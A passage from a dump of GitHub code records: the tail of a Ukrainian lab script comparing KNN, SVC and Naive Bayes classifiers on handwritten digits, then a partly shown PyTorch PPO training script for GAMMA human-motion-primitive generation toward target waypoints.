y_pred=predicted)\r\nprint(f'\\nМатриця невідповідностей для KNN (K=5):\\n{confusion}')\r\n\r\nnames = [str(digit) for digit in digits.target_names]\r\nprint('\\nЗвіт класифікації для KNN (K=5):\\n', classification_report(y_test, predicted, target_names=names))\r\n\r\nsvc = SVC(kernel=\"rbf\").fit(X_train, y_train)\r\nbayes = GaussianNB().fit(X_train, y_train)\r\nsvcPredict = svc.predict(X_test)\r\nbayesPredict = bayes.predict(X_test)\r\nprint(f'Оцінка SVC = {svc.score(X_test, y_test):.2%}')\r\nprint(f'Оцінка GaussianNB = {bayes.score(X_test, y_test):.2%}')\r\n\r\nconfusionSVC = confusion_matrix(y_true=y_test, y_pred=svcPredict)\r\nprint('\\nЗвіт класифікації для SVC:\\n', classification_report(y_test, svcPredict, target_names=names))\r\n\r\nconfusionBayes = confusion_matrix(y_true=y_test, y_pred=bayesPredict)\r\nprint('\\nЗвіт класифікації для GaussianNB:\\n', classification_report(y_test, bayesPredict, target_names=names))\r\n\r\nfor i in range(2, 11):\r\n    if i == 5:\r\n        print(f'Оцінка KNN (K=5) = {knn.score(X_test, y_test):.2%}')\r\n    else:\r\n        knnRange = KNeighborsClassifier(n_neighbors=i, n_jobs=-1)\r\n        knnRange.fit(X_train, y_train)\r\n        predicted = knnRange.predict(X_test)\r\n        print(f'Оцінка KNN (K={i}) = {knnRange.score(X_test, y_test):.2%}')\r\n","repo_name":"expresoviter/KPI_Study","sub_path":"Semester_4/Applied tasks of Machine Learning/Lab4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24318380987","text":"\"\"\"Information\nThis script is train the policy, given the pre-trained motion models and the body regressors.\n- Two motion models: 1-frame-based and 2-frame-based models\n- Two body regressors: male or female\n- Intermediate results can be saved for visualization.\n\"\"\"\n\n\n\nfrom logging import log\nimport warnings\nimport numpy as np\nimport random\nimport argparse\nimport os, sys, glob\nimport torchgeometry as tgm\nimport copy\nimport pickle\nimport pdb\nimport time\nimport torch\nfrom torch import optim\nfrom torch.distributions.normal import Normal\nfrom torch.distributions.independent import Independent\nfrom human_body_prior.tools.model_loader import load_vposer\n\n\nsys.path.append(os.getcwd())\nfrom scipy.spatial.transform import Rotation as R\nfrom scipy.spatial.distance import cdist\nfrom exp_GAMMAPrimitive.utils.config_creator import ConfigCreator\nfrom exp_GAMMAPrimitive.utils.batch_gen_amass import BatchGeneratorReachingTarget\nfrom exp_GAMMAPrimitive.utils import config_env\n\nfrom models.models_GAMMA_primitive import GAMMAPrimitiveComboGenOP\nfrom models.models_policy import GAMMAPolicy\nfrom models.baseops import SMPLXParser\nfrom models.baseops import get_logger\n\n\nsys.setrecursionlimit(10000) # if too small, deepcopy will reach the maximal depth limit.\n\ndef log_and_print(logstr):\n    logger.info(logstr)\n    if args.verbose:\n        print(logstr)\n\n\ndef configure_model(cfg, gpu_index, seed):\n    cfgall = ConfigCreator(cfg)\n    modelcfg = cfgall.modelconfig\n    traincfg = cfgall.trainconfig\n    predictorcfg = ConfigCreator(modelcfg['predictor_config'])\n    regressorcfg = ConfigCreator(modelcfg['regressor_config'])\n\n    testcfg = {}\n    testcfg['gpu_index'] = gpu_index\n    testcfg['ckpt_dir'] = traincfg['save_dir']\n    testcfg['result_dir'] = cfgall.cfg_result_dir\n    testcfg['seed'] = seed\n    testcfg['log_dir'] = cfgall.cfg_log_dir\n    testop = GAMMAPrimitiveComboGenOP(predictorcfg, regressorcfg, testcfg)\n    testop.build_model(load_pretrained_model=True)\n\n    return testop\n\n\n\ndef gen_motion_one_step(motion_model, policy_model,\n                        states, bparam_seed, prev_betas):\n    [pred_markers,\n     pred_params,\n     act,\n     act_log_prob,\n     value] = motion_model.generate_ppo(policy_model,\n                                        states.permute([1,0,2]), \n                                        bparam_seed.permute([1,0,2]),\n                                        n_gens=-1,\n                                        betas=prev_betas,\n                                        to_numpy=False\n                                        ) #[n_gens, t, d]\n    pred_markers = pred_markers.reshape(pred_markers.shape[0],\n                                    pred_markers.shape[1], -1,3)#[n_gens, t, V, 3]\n    return pred_markers.permute([1,0,2,3]), pred_params.permute([1,0,2]), act, act_log_prob, value\n\n\n\n\ndef canonicalize_static_pose(data):\n    smplx_transl = data['transl']\n    smplx_glorot = data['global_orient']\n    smplx_poses = data['body_pose']\n    gender=data['gender']\n    smplx_handposes = torch.cuda.FloatTensor(smplx_transl.shape[0], 24).zero_()\n    prev_params = torch.cat([smplx_transl,smplx_glorot,\n                                    smplx_poses,smplx_handposes],\n                                    dim=-1) #[t,d]\n    prev_params = prev_params.repeat(n_gens_1frame, 1, 1)\n    prev_betas = data['betas']\n    nb,nt = prev_params.shape[:2]\n    ## move frame to the body's pelvis\n    R0, T0 = smplxparser_1frame.get_new_coordinate(\n                                        betas=prev_betas,\n                                        gender=gender,\n                                        xb=prev_params[:,0],\n                                        to_numpy=False)\n\n    ## get the last body param and marker in the new coordinate\n    body_param_seed = smplxparser_1frame.update_transl_glorot(R0, T0,\n                                            betas=prev_betas,\n                                            gender=gender,\n                                            xb=prev_params.reshape(nb*nt, -1),\n                                            to_numpy=False\n                                        ).reshape(nb, nt, -1)\n    \n    return body_param_seed, prev_betas, gender, R0, T0\n\n\n\ndef get_wpath_feature(Y_l, pel, R0, T0, pt_wpath):\n    '''\n    --Y_l = [b,t,d] local marker\n    --pel = [b,t,d]\n    --pt_wpath = [1,d]\n    '''\n    nb, nt = pel.shape[:2]\n    Y_l = Y_l.reshape(nb, nt, -1, 3)\n    pt_wpath_l_3d = torch.einsum('bij,btj->bti', R0.permute(0,2,1), pt_wpath[None,...]-T0)\n\n    '''extract path feature = normalized direction + unnormalized height'''\n    fea_wpathxy = pt_wpath_l_3d[:,:,:2]-pel[:,:,:2]\n    dist_xy = torch.norm(fea_wpathxy, dim=-1, keepdim=True)\n    fea_wpathxy = fea_wpathxy/dist_xy\n    fea_wpathz = pt_wpath_l_3d[:,:,-1:]-pel[:,:,-1:]\n    fea_wpath = torch.cat([fea_wpathxy, fea_wpathz], dim=-1)\n\n    '''extract marker feature'''\n    fea_marker = pt_wpath_l_3d[:,:,None,:]-Y_l\n    dist_m_3d = torch.norm(fea_marker, dim=-1, keepdim=True)\n    fea_marker_3d_n = (fea_marker/dist_m_3d).reshape(nb, nt, -1)\n\n    '''extract marker feature with depth'''\n    dist_m_2d = torch.norm(fea_marker[:,:,:,:2], dim=-1, keepdim=True)\n    fea_marker_xyn = fea_marker[:,:,:,:2] / dist_m_2d\n    fea_marker_h = torch.cat([fea_marker_xyn, fea_marker[:,:,:,-1:]],dim=-1).reshape(nb, nt, -1)\n\n    return dist_xy, fea_wpath, fea_marker_3d_n, fea_marker_h\n\n\n\n# def get_rewards_bkp(pel_loc, Y_l, R0, T0, wpath):\n#     nb, nt = Y_l.shape[:2]\n#     Y_w = torch.einsum('bij,btpj->btpi',R0, Y_l)+T0[:,None,...]\n\n#     #----select motion index of proper contact with the ground\n#     Y_wz = Y_w[:,:,:,-1] #[b,t, P]\n#     Y_wz = Y_wz.reshape(nb, -1)\n#     h = 1/40\n#     Y_w_speed = torch.norm(Y_w[:,2:]-Y_w[:,:-2], dim=-1)/(2*h) #[b, t=9,P=67]\n#     Y_w_speed = Y_w_speed.reshape(nb, -1)\n#     '''evaluate contact soft'''\n#     dist2gp = (torch.abs(Y_wz.min(dim=-1)[0])-0.05).clamp(min=0)\n#     dist2skat = (torch.abs(Y_w_speed.min(dim=-1)[0])-0.075).clamp(min=0)\n#     r_contact = torch.exp(-dist2gp) * torch.exp(-dist2skat) #(b, )\n#     # '''evaluate the distance to the final target'''\n#     pt_wpath = wpath[-1:]\n#     target_wpath_l = torch.einsum('bij,btj->bti', R0.permute(0,2,1), pt_wpath[None,...]-T0)[:,:,:2]\n#     # r_target = target_wpath_l[:,0]-pel_loc[:, 0,:2]\n#     '''evaluate walking orientation'''\n#     b_ori = pel_loc[:, -1,:2] - pel_loc[:, 0,:2] #(b,2)\n#     w_ori = target_wpath_l[:,0]-pel_loc[:, 0,:2]\n#     r_target = 1/(1+torch.exp(-torch.einsum('bi,bi->b', w_ori/torch.norm(w_ori,dim=-1, keepdim=True), b_ori)))\n#     reward = r_contact+r_target\n#     return reward\n\n\ndef get_rewards(bparams, joints, Y_l, R0, T0, wpath):\n    pel_loc = joints[:,:,0]\n    nb, nt = Y_l.shape[:2]\n    h = 1/40\n    Y_l_speed = torch.norm(Y_l[:,2:]-Y_l[:,:-2], dim=-1)/(2*h) #[b, t=9,P=67]\n    Y_l_speed = Y_l_speed.reshape(nb, -1)\n    '''evaluate contact soft'''\n    dist2gp = torch.abs(pel_loc[:,-1,-1]-pel_loc[:,0, -1])\n    dist2skat = Y_l_speed.amin(dim=-1)\n    r_contact = torch.exp(-dist2gp)*torch.exp(-dist2skat)\n    '''evaluate moving direction'''\n    pt_wpath = wpath[-1:]\n    target_wpath_l = torch.einsum('bij,btj->bti', R0.permute(0,2,1), pt_wpath[None,...]-T0)[:,:,:2]\n    # r_target = target_wpath_l[:,0]-pel_loc[:, 0,:2]\n    b_dir = pel_loc[:, -1,:2] - pel_loc[:, 0,:2] #(b,2)\n    w_dir = target_wpath_l[:,0]-pel_loc[:, 0,:2]\n    w_dir_n = w_dir/torch.norm(w_dir,dim=-1, keepdim=True)\n    if USE_NORMALIZED_MOVEMENT:\n        b_dir = b_dir / torch.norm(b_dir,dim=-1, keepdim=True)\n        r_target = (1+torch.einsum('bi,bi->b', w_dir_n, b_dir))/2\n    else:\n        r_target = 0\n\n    '''evaluate slow velocity'''\n    if USE_SLOW_MOVEMENT:\n        motion_energy = torch.norm(Y_l[:,1:] - Y_l[:,:-1],dim=-1).mean(dim=[1,2])\n        r_slow = torch.exp(-motion_energy)\n    else:\n        r_slow = 0\n    '''evaluate body facing orientation'''\n    if USE_FACING_REWARD:\n        joints_end = joints[:,-1] #[b,p,3]\n        x_axis = joints_end[:,2,:] - joints_end[:,1,:]\n        x_axis[:,-1] = 0\n        x_axis = x_axis / torch.norm(x_axis,dim=-1,keepdim=True)\n        z_axis = torch.cuda.FloatTensor([[0,0,1]], device=device).repeat(x_axis.shape[0],1)\n        y_axis = torch.cross(z_axis, x_axis)\n        b_ori = y_axis[:,:2]\n        t_ori = target_wpath_l[:,0]-pel_loc[:, -1,:2]\n        t_ori = t_ori/torch.norm(t_ori, dim=-1, keepdim=True)\n        r_ori = (torch.einsum('bi,bi->b', t_ori, b_ori)+1)/2.0\n    else:\n        r_ori = 0\n    '''evaluate body pose naturalness via vposer'''\n    if USE_VPOSER_REWARD:\n        body_pose = bparams[:,:,6:69].reshape(nt*nb, -1)\n        vp_embedding = vposer.encode(body_pose).loc\n        vp_norm = torch.norm(vp_embedding.reshape(nb, nt, -1), dim=-1).mean(dim=1)\n        r_vp = torch.exp(-vp_norm)\n    else:\n        r_vp = 0\n\n    reward = r_contact+r_target+BODY_ORI_WEIGHT*r_ori+r_vp+r_slow\n    return reward\n\n\n\ndef gen_tree_roots(data_mp, wpath):\n    body_param_seed, prev_betas, gender, R0, T0 = data_mp\n    nb, nt = body_param_seed.shape[:2]\n    t_his = 1\n\n    \"\"\"retrieve current motion model\"\"\"\n    motion_model = genop_1frame_male if gender=='male' else genop_1frame_female\n    \"\"\"retrieve current states\"\"\"\n\n    marker_seed = smplxparser_1frame.get_markers(\n                                        betas=prev_betas,\n                                        gender=gender,\n                                        xb=body_param_seed.reshape(nb*nt, -1),\n                                        to_numpy=False\n                                        ).reshape(nb, nt, -1)\n\n    pelvis_loc = smplxparser_1frame.get_jts(betas=prev_betas,\n                                    gender=gender,\n                                    xb=body_param_seed.reshape(nb*nt, -1),\n                                    to_numpy=False\n                                    )[:, 0]#[b*t, 3]\n    pelvis_loc = pelvis_loc.reshape(nb, nt, -1)\n\n    dist, fea_wpath, fea_marker, fea_marker_h = get_wpath_feature(marker_seed, pelvis_loc[:,:t_his], R0, T0, wpath[-1:])\n    if np.any(dist.detach().cpu().numpy() < GOAL_THRESH):\n        warnings.warn('[warning] the current target is too close to the starting location!')\n        return None\n    if body_repr == 'ssm2_67_condi_marker':\n        states = torch.cat([marker_seed,fea_marker],dim=-1)\n    elif body_repr == 'ssm2_67_condi_marker_height':\n        states = torch.cat([marker_seed,fea_marker_h],dim=-1)\n    else:\n        states = torch.cat([marker_seed,fea_wpath],dim=-1)\n    # generate markers and regress to body params\n    [pred_markers, pred_params,\n     act, act_log_prob, value] = gen_motion_one_step(\n                                                motion_model, policy_model,\n                                                states, body_param_seed, prev_betas)\n    nb, nt = pred_params.shape[:2]\n    pred_joints = smplxparser_mp.get_jts(betas=prev_betas,\n                                        gender=gender,\n                                        xb=pred_params.reshape([nb*nt, -1]),\n                                        to_numpy=False).reshape([nb,nt,-1,3])\n    pred_pelvis_loc = pred_joints[:,:,0]\n    pred_markers_proj = smplxparser_mp.get_markers(betas=prev_betas,\n                                            gender=gender,\n                                            xb=pred_params.reshape([nb*nt, -1]),\n                                            to_numpy=False).reshape((nb, nt, -1, 3))  #[b, t, p, 3]\n\n    pred_marker_b = REPROJ_FACTOR*pred_markers_proj+(1-REPROJ_FACTOR)*pred_markers\n    traj_rewards = get_rewards(pred_params,pred_joints, pred_marker_b, R0, T0, wpath)\n    traj_states = states #[b,t,d]\n    traj_act = act #[b,d]\n    traj_act_logprob = act_log_prob #[b,]\n    traj_value = value #[b,]\n    return [[traj_states, traj_act, traj_act_logprob, traj_rewards, traj_value],\n            [pred_marker_b, pred_params, prev_betas, gender, R0, T0, pred_pelvis_loc, '1-frame']]\n\n\n\n\ndef expand_tree(data_mp, wpath):\n    prev_markers_b, prev_params, prev_betas, prev_gender, prev_rotmat, prev_transl, prev_pelvis_loc, _ = data_mp\n\n    #===================== produce marker seed =====================#\n    t_his = 2\n    body_param_seed = prev_params[:,-t_his:] #[b,t,d]\n    nb, nt = body_param_seed.shape[:2]\n    ## move frame to the second last body's pelvis\n    R_, T_ = smplxparser_1frame.get_new_coordinate(\n                                        betas=prev_betas,\n                                        gender=prev_gender,\n                                        xb=body_param_seed[:,0],\n                                        to_numpy=False) #[b,3,3][b,1,3]\n    T0 = torch.einsum('bij,btj->bti', prev_rotmat, T_)+prev_transl\n    R0 = torch.einsum('bij,bjk->bik', prev_rotmat, R_)\n    \n    marker_seed = torch.einsum('bij,btpj->btpi', R_.permute(0,2,1), prev_markers_b[:,-t_his:]-T_[...,None,:])\n    pel_loc_seed = torch.einsum('bij,btj->bti', R_.permute(0,2,1), prev_pelvis_loc[:,-t_his:]-T_)\n    dist, fea_wpath, fea_marker, fea_marker_h = get_wpath_feature(marker_seed, pel_loc_seed, R0, T0, wpath[-1:])\n    dist2target = dist[:,-1, 0]\n    if USE_EARLY_STOP:\n        if torch.any(dist2target < GOAL_THRESH):\n            # log_and_print('[INFO] some motion reaches the target. quit rollout and collect rewards')\n            return dist2target\n\n    #===================== generate future marker =====================#\n    motion_model = genop_2frame_male if prev_gender=='male' else genop_2frame_female\n    marker_seed = marker_seed.reshape(nb,t_his,-1) #[b,t,d]\n    if body_repr == 'ssm2_67_condi_marker':\n        states = torch.cat([marker_seed,fea_marker],dim=-1)\n    else:\n        raise NotImplementedError\n    [pred_markers, pred_params,\n    act, act_log_prob, value] = gen_motion_one_step(\n                                        motion_model, policy_model,\n                                        states, body_param_seed, prev_betas)\n\n    nb, nt = pred_params.shape[:2]\n    pred_joints = smplxparser_mp.get_jts(betas=prev_betas,\n                                        gender=prev_gender,\n                                        xb=pred_params.reshape([nb*nt, -1]),\n                                        to_numpy=False).reshape([nb,nt,-1,3])#[t*b, 3]\n    pred_pelvis_loc = pred_joints[:,:,0]\n    pred_markers_proj = smplxparser_mp.get_markers(betas=prev_betas,\n                                            gender=prev_gender,\n                                            xb=pred_params.reshape([nb*nt, -1]),\n                                            to_numpy=False).reshape((nb, nt, -1, 3))  #[b, t, p, 3]\n\n    pred_marker_b = REPROJ_FACTOR*pred_markers_proj+(1-REPROJ_FACTOR)*pred_markers\n    traj_rewards = get_rewards(pred_params, pred_joints, pred_marker_b, R0, T0, wpath)\n    traj_states = states #[b,t,d]\n    traj_act = act #[b,d]\n    traj_act_logprob = act_log_prob #[b,]\n    traj_value = value #[b,]\n\n    return [[traj_states, traj_act, traj_act_logprob, traj_rewards, traj_value],\n            dist2target,\n            [pred_marker_b, pred_params, prev_betas, prev_gender, R0, T0, pred_pelvis_loc, '2-frame']]\n\n\n\n\ndef discount_rewards(rewards:list, gamma=0.99):\n    \"\"\"\n    Return discounted rewards based on the given rewards and gamma param.\n    \"\"\"\n    new_rewards = [rewards[-1]]\n    for i in reversed(range(len(rewards)-1)):\n        new_rewards.append(rewards[i] + gamma * new_rewards[-1])\n    return new_rewards[::-1]\n\n\ndef calculate_aes(returns:list, values:list):\n    aes = []\n    for i in range(len(returns)):\n        ae = returns[i]-values[i]\n        ae = (ae-ae.mean())/(ae.std()+1e-10)\n        aes.append(ae)\n    return aes\n\n\ndef save_rollout_results(outmps, outfolder):\n    if not os.path.exists(outfolder):\n        os.makedirs(outfolder)\n    mp_keys = ['smplx_params', 'betas', 'gender', 'transf_rotmat', 'transf_transl','pelvis_loc','mp_type']\n\n    for b in range(n_gens_1frame):\n        outmps_nodes = []\n        for mp in outmps:\n            mp_node = {}\n            for idx, key in enumerate(mp_keys):\n                if key in ['gender','mp_type', 'betas']:\n                    mp_node[key] = mp[idx] if type(mp[idx])==str else mp[idx].detach().cpu().numpy()\n                elif key in ['smplx_params']:\n                    mp_node[key] = mp[idx][b:b+1].detach().cpu().numpy()\n                else:\n                    mp_node[key] = mp[idx][b].detach().cpu().numpy()\n            outmps_nodes.append(mp_node)\n        with open(outfolder+'/motion_{:02d}.pkl'.format(b), 'wb') as f:\n            pickle.dump(outmps_nodes,f)\n\n\n\ndef rollout(body_s, max_depth=10, epoch=0):\n    '''generate motion and collect data for policy update.\n    '''\n    traj_ppo = {'states':[],\n                'actions':[],\n                'action_logprob':[],\n                'rewards':[],\n                'value':[]}\n\n    outmps = []\n    # specify the start node\n    data_mp0 = canonicalize_static_pose(body_s)\n    # wpath = torch.cuda.FloatTensor(body_s['wpath'], device=device) #numpy, 2x3\n    wpath = body_s['wpath'] #2x3\n    stime = time.time()\n\n    \"\"\"generating tree roots\"\"\"\n    rootout = gen_tree_roots(data_mp0, wpath)\n    if rootout is not None:\n        data_traj, data_mp = rootout\n    else:\n        return None\n    outmps.append(data_mp)\n    for i, key in enumerate(traj_ppo.keys()):\n        traj_ppo[key].append(data_traj[i])\n\n    \"\"\"expanding tree\"\"\"\n    dist2target_record = []\n    for _ in range(1,max_depth):\n        # print('[info] current depth={}'.format(depth))\n        mp_new=expand_tree(data_mp, wpath)\n        if type(mp_new) == list:\n            data_traj, dist2target_, data_mp = mp_new\n            dist2target_record.append(dist2target_)\n            outmps.append(data_mp)\n            for i, key in enumerate(traj_ppo.keys()):\n                traj_ppo[key].append(data_traj[i])\n        else:\n            dist2target_ = mp_new\n            dist2target_record.append(dist2target_)\n            break\n\n    dist2targetall = torch.stack(dist2target_record, dim=1)\n\n    \"\"\"give bonus according to the dist2target\"\"\"\n    dist2targetall[dist2targetall<=GOAL_THRESH]=0\n    dist2target = torch.amin(dist2targetall,dim=-1)\n    for i, rew in enumerate(traj_ppo['rewards']):\n        traj_ppo['rewards'][i] = rew + ((GOAL_SIGMA-dist2target)/GOAL_SIGMA).clamp(min=0)\n\n    \n    'compute returns from traj_rewards'\n    traj_ppo['returns'] = discount_rewards(traj_ppo['rewards'],\n                                gamma=REWARD_DISCOUNT) #1d array\n    'a simple advantage function (ae)'\n    traj_ppo['gae'] = calculate_aes(traj_ppo['returns'],\n                                traj_ppo['value']) #1d array\n\n\n    \"\"\"logging\"\"\"\n    if epoch%20==0:\n        depth = len(traj_ppo['states'])\n        epstime = time.time()- stime\n        info_str = '[epoch {}][INFO, ROLLOUT] steps={:d}/{:d}, success_ratio={:.02f}, avg_rewards={:.02f}, avg_dist={:.02f}, worst_rewards={:.02f}, worst_dist={:.02f}, epstime={:.02f}'.format(epoch,\n                                depth, max_depth, np.mean(dist2target.detach().cpu().numpy()==0),\n                                np.mean([rew.detach().cpu().numpy().mean() for rew in traj_ppo['rewards']]),\n                                np.mean(dist2target.detach().cpu().numpy()),\n                                np.min([rew.detach().cpu().numpy().min() for rew in traj_ppo['rewards']]),\n                                np.amax(dist2target.detach().cpu().numpy()),\n                                epstime\n                                )\n        log_and_print(info_str)\n\n\n\n    \"\"\"visualze rollout results in blender, for debugging\"\"\"\n    # save_rollout_results(outmps, 'results/tmp')\n\n\n    return traj_ppo\n\n\n\n\ndef calc_loss_policy_val(traj_states,\n                        traj_z,\n                        traj_z_logprob,\n                        traj_gae,\n                        traj_returns):\n\n\n    '''forward pass of the policy value model'''\n    z_mu, z_logvar, value = policy_model(traj_states.permute([1,0,2]))\n    z_var = torch.exp(z_logvar.clamp(policy_model.min_logvar, policy_model.max_logvar))\n    act_distrib_c = Normal(z_mu, z_var**0.5) #batched distribution\n    act_distrib = Independent(act_distrib_c, 1)\n\n    '''calculate ppo'''\n    traj_z_logprob_new = act_distrib.log_prob(traj_z) #size=(b=1, )\n    policy_ratio = torch.exp(traj_z_logprob_new-traj_z_logprob)\n    clipped_ratio = policy_ratio.clamp(1-PPO_CLIP_VAL,\n                                    1+PPO_CLIP_VAL)\n    clipped_loss = clipped_ratio*traj_gae\n    full_loss = policy_ratio*traj_gae\n    loss_ppo = -torch.min(full_loss, clipped_loss).mean()\n\n    '''KLD like in Motion Primitive VAE'''\n    loss_kld = 0.5 * torch.mean(-1 - z_logvar + z_mu.pow(2) + z_logvar.exp())\n    if USE_ROBUST_KLD:\n        loss_kld = (torch.sqrt(1 + loss_kld**2)-1)\n    loss_kld = cfg_policy.lossconfig['kld_weight'] * loss_kld\n    '''check kld stateus'''\n    kld_thresh = (traj_z_logprob - traj_z_logprob_new).mean()\n\n    '''calculate value'''\n    loss_val = torch.mean( (value-traj_returns)**2 )\n\n    '''prepare output'''\n    loss = loss_ppo + loss_val + loss_kld\n    loss_items = np.array([loss_ppo.item(), loss_val.item()])\n    return loss, loss_items, kld_thresh\n\n\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--cfg_policy', default='MPVAEPolicy_tmp') # specify the motion primitive VAE with the starting frame condition\n    parser.add_argument('--gpu_index', type=int, default=0)\n    parser.add_argument('--random_seed', type=int, default=0)\n    parser.add_argument('--verbose', type=int, default=1)\n    args = parser.parse_args()\n\n    \"\"\"setup\"\"\"\n    np.random.seed(args.random_seed)\n    torch.manual_seed(args.random_seed)\n    dtype = torch.float32\n    torch.set_default_dtype(dtype)\n    device = torch.device('cuda', index=args.gpu_index) if args.gpu_index >= 0 and torch.cuda.is_available() else torch.device('cpu')\n    if torch.cuda.is_available():\n        torch.cuda.set_device(args.gpu_index)\n    torch.set_grad_enabled(True)\n\n    cfg_policy = ConfigCreator(args.cfg_policy)\n    cfg_1frame_male = cfg_policy.trainconfig['cfg_1frame_male']\n    cfg_2frame_male = cfg_policy.trainconfig['cfg_2frame_male']\n    cfg_1frame_female = cfg_policy.trainconfig['cfg_1frame_female']\n    cfg_2frame_female = cfg_policy.trainconfig['cfg_2frame_female']\n    max_depth = cfg_policy.trainconfig['max_depth']\n    GOAL_THRESH = cfg_policy.trainconfig['goal_thresh']\n    GOAL_SIGMA=cfg_policy.trainconfig['goal_disturb_sigma']\n    n_gens_1frame = cfg_policy.trainconfig['n_gens_1frame']\n    n_gens_2frame = cfg_policy.trainconfig['n_gens_2frame']\n    lr_po = cfg_policy.trainconfig['learning_rate_p']\n    lr_val = cfg_policy.trainconfig['learning_rate_v']\n    max_train_iter_1f = cfg_policy.trainconfig['max_train_iter_1f']\n    max_train_iter_2f = cfg_policy.trainconfig['max_train_iter_2f']\n    body_repr = cfg_policy.modelconfig['body_repr']\n\n    num_epochs = cfg_policy.trainconfig['num_epochs']\n    num_envs_per_epoch = cfg_policy.trainconfig.get('num_envs_per_epoch', 1)\n    saving_per_X_ep = cfg_policy.trainconfig['saving_per_X_ep']\n    REWARD_DISCOUNT=cfg_policy.lossconfig['reward_discount']\n    GAE_DECAY=cfg_policy.lossconfig['gae_decay']\n    PPO_CLIP_VAL=cfg_policy.lossconfig['ppo_clip_val']\n    logger = get_logger(cfg_policy.trainconfig['log_dir'])\n    POSITIVE_MINING = cfg_policy.trainconfig.get('positive_mining', False)\n    KLD_THRESH = cfg_policy.lossconfig.get('kld_thresh', 0.05)\n    BATCH_SIZE=cfg_policy.trainconfig.get('batch_size', 1024)\n    USE_FACING_REWARD=cfg_policy.lossconfig.get('use_facing_reward', False)\n    USE_VPOSER_REWARD=cfg_policy.lossconfig.get('use_vposer_reward', False)\n    USE_NORMALIZED_MOVEMENT=cfg_policy.lossconfig.get('use_normalized_movement', False)\n    USE_SLOW_MOVEMENT=cfg_policy.lossconfig.get('use_slow_movement', False)\n    BODY_ORI_WEIGHT=cfg_policy.lossconfig.get('body_ori_weight', 1.0)\n    REPROJ_FACTOR=cfg_policy.modelconfig.get('reproj_factor', 1.0)\n    USE_ROBUST_KLD=cfg_policy.lossconfig.get('use_robust_kld', True)\n    USE_EARLY_STOP=cfg_policy.trainconfig.get('use_early_stop', False)\n\n    \"\"\"data\"\"\"\n    # ground data\n    Rg = R.from_euler('xyz', np.array([0, 0, 0]), degrees=True)\n    rotmat_g = Rg.as_matrix()\n    # body motion data\n    bm_path = config_env.get_body_model_path()\n    batch_gen = BatchGeneratorReachingTarget(dataset_path=None,\n                                            body_model_path=bm_path)\n    vposer, _ = load_vposer(bm_path+'/vposer_v1_0', vp_model='snapshot')\n    vposer.eval()\n    vposer.to(device)\n\n    \"\"\"set GAMMA primitive networks\"\"\"\n    genop_1frame_male = configure_model(cfg_1frame_male, args.gpu_index, args.random_seed)\n    genop_1frame_female = configure_model(cfg_1frame_female, args.gpu_index, args.random_seed)\n    genop_2frame_male = configure_model(cfg_2frame_male, args.gpu_index, args.random_seed)\n    genop_2frame_female = configure_model(cfg_2frame_female, args.gpu_index, args.random_seed)\n\n    \"\"\"body model parsers\"\"\"\n    pconfig_mp = {\n        'n_batch':10*n_gens_1frame,\n        'device': device,\n        'marker_placement': 'ssm2_67'\n    }\n    smplxparser_mp = SMPLXParser(pconfig_mp)\n\n    pconfig_2frame = {\n        'n_batch':n_gens_1frame*2,\n        'device': device,\n        'marker_placement': 'ssm2_67'\n    }\n    smplxparser_2frame = SMPLXParser(pconfig_2frame)\n\n    pconfig_1frame = {\n        'n_batch':1*n_gens_1frame,\n        'device': device,\n        'marker_placement': 'ssm2_67'\n    }\n    smplxparser_1frame = SMPLXParser(pconfig_1frame)\n\n\n    \"\"\"policy network and their optimizer\"\"\"\n    policy_model = GAMMAPolicy(cfg_policy.modelconfig)\n    policy_model.train()\n    policy_model.to(device)\n    optimizer = optim.Adam(policy_model.parameters(),\n                               lr=lr_po)\n\n\n\n    \"\"\"main block for motion generation\"\"\"\n    loss_names = ['Return_PPO_1f', 'Value_1f', 'Return_PPO_2f', 'Value_2f']\n    epoch = 0\n    if cfg_policy.trainconfig['resume_training']:\n        ckp_list = sorted(glob.glob(os.path.join(cfg_policy.trainconfig['save_dir'],'epoch-*.ckp')),\n                        key=os.path.getmtime)\n    if len(ckp_list)>0:\n        checkpoint = torch.load(ckp_list[-1], map_location=device)\n        policy_model.load_state_dict(checkpoint['model_state_dict'])\n        optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n        epoch = checkpoint['epoch']\n        print('[INFO] --resuming training from {}'.format(ckp_list[-1]))\n\n    while epoch < num_epochs:\n        \"\"\"collect traj data from rollout for training\"\"\"\n        traj_ppo_list = []\n        for _ in range(num_envs_per_epoch):\n            data = batch_gen.next_body(sigma=GOAL_SIGMA)\n            with torch.no_grad():\n                traj_ppo = rollout(data, max_depth=max_depth, epoch=epoch)\n                if traj_ppo is None:\n                    continue\n            traj_ppo_list.append(traj_ppo)\n        if epoch%20==0:\n            log_and_print('\\n')\n\n        \"\"\"update policy using the 1-frame data\"\"\"\n        traj_states_1f_pool = torch.cat([traj_ppo['states'][0].detach() for traj_ppo in traj_ppo_list])    #[b,t,d]\n        traj_z_1f_pool = torch.cat([traj_ppo['actions'][0].detach() for traj_ppo in traj_ppo_list])#[b,d]\n        traj_z_logprob_1f_pool = torch.cat([traj_ppo['action_logprob'][0].detach() for traj_ppo in traj_ppo_list]) #[b,d]\n        traj_gae_1f_pool = torch.cat([traj_ppo['gae'][0].detach() for traj_ppo in traj_ppo_list]) #[b,d]\n        traj_returns_1f_pool = torch.cat([traj_ppo['returns'][0].detach() for traj_ppo in traj_ppo_list]) #[b,d]\n        N_samples = traj_gae_1f_pool.shape[0]\n\n        for _ in range(max_train_iter_1f):\n            idx = 0\n            rr = torch.randperm(N_samples)\n            traj_states_1f_pool = traj_states_1f_pool[rr]\n            traj_z_1f_pool = traj_z_1f_pool[rr]\n            traj_z_logprob_1f_pool = traj_z_logprob_1f_pool[rr]\n            traj_gae_1f_pool = traj_gae_1f_pool[rr]\n            while idx < N_samples:\n                traj_states_1f=traj_states_1f_pool[idx:idx+BATCH_SIZE]\n                traj_z_1f=traj_z_1f_pool[idx:idx+BATCH_SIZE]\n                traj_z_logprob_1f=traj_z_logprob_1f_pool[idx:idx+BATCH_SIZE]\n                traj_gae_1f=traj_gae_1f_pool[idx:idx+BATCH_SIZE]\n                traj_returns_1f=traj_returns_1f_pool[idx:idx+BATCH_SIZE]\n                optimizer.zero_grad()\n                loss_1f, loss_items_1f, kld_thresh = calc_loss_policy_val(\n                                                traj_states_1f,\n                                                traj_z_1f,\n                                                traj_z_logprob_1f,\n            